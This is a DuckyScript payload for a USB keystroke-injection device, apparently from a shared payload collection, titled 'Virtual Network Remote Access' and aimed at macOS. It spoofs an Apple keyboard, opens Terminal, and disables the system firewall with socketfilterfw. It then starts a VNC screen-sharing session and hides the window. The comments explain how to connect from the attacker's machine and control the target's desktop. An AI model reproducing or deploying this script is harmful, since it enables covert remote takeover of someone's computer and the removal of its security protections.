49 lines
1.4 KiB
Plaintext
49 lines
1.4 KiB
Plaintext
REM VNC is a technology that allows you to remotely control another computer.
|
|
REM In this case, if the VNC server is started on a Mac, you can view
|
|
REM and control that Mac from another computer using a VNC viewer application.
|
|
|
|
|
|
|
|
REM This script disables the firewall, opens a VNC connection to localhost,
|
|
REM and hides the Screen Sharing window.
|
|
REM you can replace "localhost" with targets I.P.
|
|
|
|
|
|
REM Now you can use your local computer to tap into the target
|
|
REM This command will install the RealVNC VNC Viewer 'brew install --cask realvnc-vnc-viewer'
|
|
REM In RealVNC VNC Viewer, enter the IP address of the target machine
|
|
REM (the machine where you ran the script) and click the "Connect" button.
|
|
|
|
REM RealVNC VNC Viewer should establish a connection to the target machine,
|
|
REM you should be able to see and control the remote desktop of the target machine on your computer.
|
|
|
|
REM Note that the specific command and package name may vary
|
|
REM based on the version of Homebrew and RealVNC available at the time of installation.
|
|
|
|
|
|
REM Author: Narsty
|
|
REM Title: Virtual Network Remote Access
|
|
REM Target: MacOS
|
|
REM Version: 1.0
|
|
REM Category: Execution
|
|
|
|
ID 05ac:021e Apple:Keyboard
|
|
DELAY 1000
|
|
GUI SPACE
|
|
DELAY 500
|
|
STRING terminal
|
|
DELAY 500
|
|
ENTER
|
|
DELAY 1000
|
|
STRING /usr/libexec/ApplicationFirewall/socketfilterfw --setglobalstate off
|
|
ENTER
|
|
DELAY 500
|
|
STRING open vnc://localhost
|
|
DELAY 500
|
|
ENTER
|
|
DELAY 500
|
|
ENTER
|
|
DELAY 500
|
|
GUI h
|
|
|